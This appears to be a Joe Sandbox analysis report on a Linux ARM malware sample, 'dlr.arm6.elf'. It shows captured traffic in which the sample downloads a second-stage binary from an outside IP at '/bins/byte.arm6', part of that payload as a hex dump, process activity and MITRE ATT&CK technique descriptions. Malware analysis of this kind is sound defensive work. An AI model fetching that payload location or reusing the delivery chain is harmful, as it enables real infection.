Oct 26, 2024 19:21:50.084189892 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:52.039228916 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:52.044748068 CEST	80	53682	154.216.20.69	192.168.2.13

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	53682	154.216.20.69	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 19:21:48.713943958 CEST	46	OUT	GET /bins/byte.arm6 HTTP/1.0 Data Raw: 00 00 Data Ascii:
Oct 26, 2024 19:21:49.581918955 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 17:21:49 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Fri, 25 Oct 2024 07:14:52 GMT ETag: "15b80-62547e017ab08" Accept-Ranges: bytes Content-Length: 88960 Connection: close Data Raw: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 28 00 01 00 00 00 54 81 00 00 34 00 00 00 a0 59 01 00 02 00 00 04 34 00 20 00 03 00 28 00 0c 00 0b 00 01 00 00 00 00 00 00 00 00 80 00 00 00 80 00 00 a0 4d 01 00 a0 4d 01 00 05 00 00 00 00 80 00 00 01 00 00 00 a4 4d 01 00 a4 4d 02 00 a0 4d 02 00 8c 0b 00 00 3c b1 00 00 06 00 00 00 00 80 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 04 00 00 00 0d c0 a0 e1 f0 df 2d e9 04 b0 4c e2 f0 af 1b e9 00 00 00 00 00 00 00 00 00 00 00 00 10 40 2d e9 2c 40 9f e5 00 30 d4 e5 00 00 53 e3 06 00 00 1a 20 30 9f e5 00 00 53 e3 1c 00 9f 15 0f e0 a0 11 13 ff 2f 11 01 30 a0 e3 00 30 c4 e5 10 40 bd e8 1e ff 2f e1 2c 59 02 00 00 00 00 00 a0 4d 02 00 04 e0 2d e5 40 30 9f e5 00 00 53 e3 04 d0 4d e2 38 00 9f 15 38 10 9f 15 0f e0 a0 11 13 ff 2f 11 30 00 9f e5 00 30 90 e5 00 00 53 e3 03 00 00 0a 24 30 9f e5 00 00 53 e3 0f e0 a0 11 13 ff 2f 11 04 d0 8d e2 04 e0 9d e4 1e ff 2f e1 00 00 00 00 a0 4d 02 00 30 59 02 00 ac 4d 02 00 00 00 [TRUNCATED] Data Ascii: ELF(T4Y4 (MMMMM<Qtd-L@-,@0S 0S/00@/,YM-@0SM88/00S$0S//M0YM ---04 1P@-@0S0SP@/@G-`p u p00PPPUG/j p@P1$ 11l0Q`0 0S0SP1 $0/HYLYO-QM@PO/!< 4,4T T Y1p0DS:`3.pg0G P`FV0@ 0V>PUG`0.X`
Oct 26, 2024 19:21:49.581934929 CEST	1236	IN	Data Raw: a0 e1 33 00 00 0a 01 30 d4 e5 08 00 57 e3 04 30 c0 e5 01 30 84 e2 2e 00 00 0a 01 40 d3 e5 09 80 47 e2 04 00 58 e1 01 10 83 e2 00 20 a0 a3 01 70 81 a2 00 a0 a0 a1 10 20 8d a5 0d 00 00 aa 24 00 00 ea 04 20 58 e0 22 00 00 0a 07 30 d4 e7 07 00 84 e0 Data Ascii: 30W00.@GX p $ X"0 R00Bp@X-00 0 1R!00 0`K0S/VU
Oct 26, 2024 19:21:49.581954002 CEST	1236	IN	Data Raw: a0 e1 07 30 a0 e3 08 10 81 e0 00 00 96 e5 00 20 85 e5 04 30 c5 e5 01 11 a0 e1 29 2d 00 eb 00 30 d4 e5 00 20 a0 e1 03 51 80 e7 07 10 a0 e1 08 30 83 e0 08 00 a0 e1 00 30 c4 e5 00 20 86 e5 d3 2c 00 eb 00 10 d4 e5 6c 20 9f e5 00 50 a0 e1 09 30 a0 e3 Data Ascii: 0 0)-0 Q00 ,l P0 0-0Q A/HYLYHl<,O-,MP`p,,H
Oct 26, 2024 19:21:49.581965923 CEST	1236	IN	Data Raw: a0 e3 5d 28 00 eb 14 30 9d e5 07 00 59 e1 04 30 83 e2 14 30 8d e5 29 00 00 0a 01 48 a0 e3 01 40 44 e2 01 10 a0 e3 04 00 a0 e1 a6 2b 00 eb 08 10 9d e5 ff 20 01 e2 21 34 a0 e1 02 34 83 e1 04 20 9d e5 14 c0 9d e5 04 00 51 e1 0b 60 82 e0 0a 00 8c e7 Data Ascii: ](0Y00)H@D+ !44 Q`0[`@U$,!$<$,0!"< 44<0,O/\@p(@W 9
Oct 26, 2024 19:21:49.581979990 CEST	908	IN	Data Raw: c6 e1 06 10 a0 e1 b4 20 d6 e1 0a 30 a0 e1 05 00 a0 e1 90 0d 00 eb 4c 30 9d e5 83 e2 a0 e1 b6 00 c6 e1 83 e1 4e e0 b2 60 d6 e1 08 e0 8e e0 b2 60 ce e1 01 39 a0 e3 10 c0 a0 e3 05 10 a0 e1 0b 00 a0 e1 09 20 a0 e1 00 e0 8d e5 04 c0 8d e5 70 27 00 eb Data Ascii: 0L0N``9 p'L0PL0WL0@ L0A$,,$<$,0,"< 44<00sH @D\
Oct 26, 2024 19:21:49.582128048 CEST	1236	IN	Data Raw: a0 e1 21 0c 80 e1 2e e8 a0 e1 ff 6c 06 e2 18 10 9d e5 07 54 a0 e1 24 48 a0 e1 22 ec 8e e1 23 3c 86 e1 21 4c 84 e1 25 58 a0 e1 5c 00 8d e5 54 e0 8d e5 0c 30 8d e5 50 40 8d e5 27 7c 85 e1 00 40 a0 e3 5e 0e a0 e3 04 10 a0 e3 06 00 80 e2 8b 29 00 eb Data Ascii: !.lT$H"#<!L%X\T0P@'\|@^)$ l 21C$0A00@00 8P 04 \00/00(0U0@ e0
Oct 26, 2024 19:21:49.582142115 CEST	1236	IN	Data Raw: ff eb 05 10 a0 e1 04 20 a0 e3 40 30 a0 e3 00 b0 a0 e1 04 00 a0 e1 b3 fa ff eb 00 c0 a0 e1 ff c0 0c e2 05 10 a0 e1 05 20 a0 e3 01 30 a0 e3 04 00 a0 e1 2c c0 8d e5 ab fa ff eb 01 38 a0 e3 00 c0 a0 e1 ff c0 0c e2 01 30 43 e2 06 20 a0 e3 05 10 a0 e1 Data Ascii: @0 0,80C 080C <p 0< 0@$0`
Oct 26, 2024 19:21:49.582154036 CEST	1236	IN	Data Raw: d1 e5 03 24 82 e1 04 2c 82 e1 30 2c 82 e0 ff 08 02 e2 22 3c a0 e1 ff 1c 02 e2 20 34 83 e1 01 34 83 e1 20 10 9d e5 02 3c 83 e1 01 00 71 e3 10 30 85 e5 aa ff ff 1a ee 0d 00 eb 01 48 a0 e3 01 40 44 e2 04 00 5b e1 0c 00 85 e5 a8 ff ff 1a e8 0d 00 eb Data Ascii: $,0,"< 44 <q0H@D[ 4 ?@0R080SD@T00@Q<0$dO/<< 4h
Oct 26, 2024 19:21:49.582216978 CEST	1236	IN	Data Raw: 83 e1 ff 1c 02 e2 01 34 83 e1 02 3c 83 e1 10 30 85 e5 10 30 9d e5 07 00 53 e1 b9 ff ff 1a c2 0c 00 eb 1c c0 9d e5 07 00 5c e1 b4 00 c5 e1 b7 ff ff 1a bd 0c 00 eb 20 10 9d e5 07 00 51 e1 b4 01 c5 e1 b5 ff ff 1a b8 0c 00 eb b2 00 c6 e1 b2 ff ff ea Data Ascii: 4<00S\ Q4O/yO-MM@P% 0,80C 4# @0
Oct 26, 2024 19:21:49.582228899 CEST	1236	IN	Data Raw: c1 e5 10 b0 81 e5 bc 31 c1 e1 01 00 84 e2 07 10 a0 e1 54 20 9d e5 6c 15 00 eb 00 00 56 e3 04 00 a0 d1 00 c0 a0 d3 0d 00 00 da 00 c0 a0 e3 04 00 a0 e1 0c 10 a0 e1 07 30 d1 e7 2e 00 53 e3 04 30 81 00 01 20 8c e2 01 10 81 e2 00 c0 c0 05 ff c0 02 12 Data Ascii: 1T lV0.S0 Q8P XXPp0X8/0X8APE\`3D^5HP7L R9)
Oct 26, 2024 19:21:49.587624073 CEST	1236	IN	Data Raw: a0 e3 08 20 9d e5 01 0c 8d e2 b0 15 c0 e1 02 30 83 e0 14 20 d3 e5 1f 00 52 e3 10 30 93 85 54 31 8d 85 50 00 00 9a 01 38 a0 e3 01 30 43 e2 03 00 5a e1 2a 34 a0 11 ff 20 0a 12 02 34 83 11 01 0c 8d 12 b2 35 c0 11 5e 00 00 0a 15 1e 8d e2 10 20 a0 e3 Data Ascii: 0 R0T1P80CZ*4 45^ < Y@VdP#`,@9d r)TD1S(R\T0<%^a

System Behavior

Analysis Process: dlr.arm6.elf PID: 5705, Parent PID: 5511

General

Start time (UTC):	17:21:47
Start date (UTC):	26/10/2024
Path:	/tmp/dlr.arm6.elf
Arguments:	/tmp/dlr.arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	17:22:27
Start date (UTC):	26/10/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	17:22:27
Start date (UTC):	26/10/2024
Path:	/usr/lib/snapd/snap-failure
Arguments:	/usr/lib/snapd/snap-failure snapd
File size:	4764904 bytes
MD5 hash:	69136a7d575731ce62349f2e4d3e5c36

Start time (UTC):	17:22:28
Start date (UTC):	26/10/2024
Path:	/usr/lib/snapd/snap-failure
Arguments:	-
File size:	4764904 bytes
MD5 hash:	69136a7d575731ce62349f2e4d3e5c36

Start time (UTC):	17:22:28
Start date (UTC):	26/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl stop snapd.socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Start time (UTC):	17:22:28
Start date (UTC):	26/10/2024
Path:	/usr/lib/snapd/snap-failure
Arguments:	-
File size:	4764904 bytes
MD5 hash:	69136a7d575731ce62349f2e4d3e5c36

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report dlr.arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Dropped Files

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/byte

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: dlr.arm6.elf PID: 5705, Parent PID: 5511

General

Chronological Activities

Analysis Process: systemd PID: 5744, Parent PID: 1

General

Chronological Activities

Analysis Process: snap-failure PID: 5744, Parent PID: 1

General

Chronological Activities

Analysis Process: snap-failure PID: 5759, Parent PID: 5744

General

Chronological Activities

Analysis Process: systemctl PID: 5759, Parent PID: 5744

General

Chronological Activities

Analysis Process: snap-failure PID: 5760, Parent PID: 5744

General

Chronological Activities

Linux Analysis Report
dlr.arm6.elf